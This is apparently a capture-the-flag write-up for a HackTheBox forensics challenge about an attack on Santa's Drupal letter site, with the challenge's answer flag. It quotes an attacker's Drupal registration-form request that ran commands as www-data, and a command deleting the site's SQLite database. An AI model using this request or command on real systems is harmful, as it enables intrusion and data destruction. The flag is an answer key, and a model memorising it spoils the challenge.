---
# System prepended metadata

title: CyberSanta Baby APT
tags: [round 1, HackTheBox]

---

###### tags: `HackTheBox` `round 1`
# CyberSanta Baby APT
## description
```
This is the most wonderful time of the year, but not for Santa's incident response team. Since Santa went digital, everyone can write a letter to him using his brand new website. Apparently an APT group hacked their way in to Santa's server and destroyed his present list. Could you investigate what happened?
Это самое прекрасное время года, но не для команды реагирования на инциденты Санты. С тех пор, как Санта стал цифровым, каждый может написать ему письмо, используя его новый веб-сайт. Очевидно, группа APT взломала сервер Санты и уничтожила его текущий список. Не могли бы вы расследовать, что произошло? 

```
## objects
```
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax:
[
  {
    "command": "insert",
    "method": "replaceWith",
    "selector": null,
    "data": "uid=33(www-data) gid=33(www-data) groups=33(www-data)<span class=\"ajax-new-content\"></span>",
    "settings": null
  }
]
```
## commands
```
rm  /var/www/html/sites/default/files/.ht.sqlite &amp;&amp; echo SFRCezBrX24wd18zdjNyeTBuM19oNHNfdDBfZHIwcF8wZmZfdGgzaXJfbDN0dDNyc180dF90aDNfcDBzdF8wZmYxYzNfNGc0MW59 &gt; /dev/null 2&gt;&amp;1 &amp;&amp; ls -al  /var/www/html/sites/default/files"
```
## actions
```
base64 decode
SFRCezBrX24wd18zdjNyeTBuM19oNHNfdDBfZHIwcF8wZmZfdGgzaXJfbDN0dDNyc180dF90aDNfcDBzdF8wZmYxYzNfNGc0MW59
```
## flags
```
HTB{0k_n0w_3v3ry0n3_h4s_t0_dr0p_0ff_th3ir_l3tt3rs_4t_th3_p0st_0ff1c3_4g41n}
```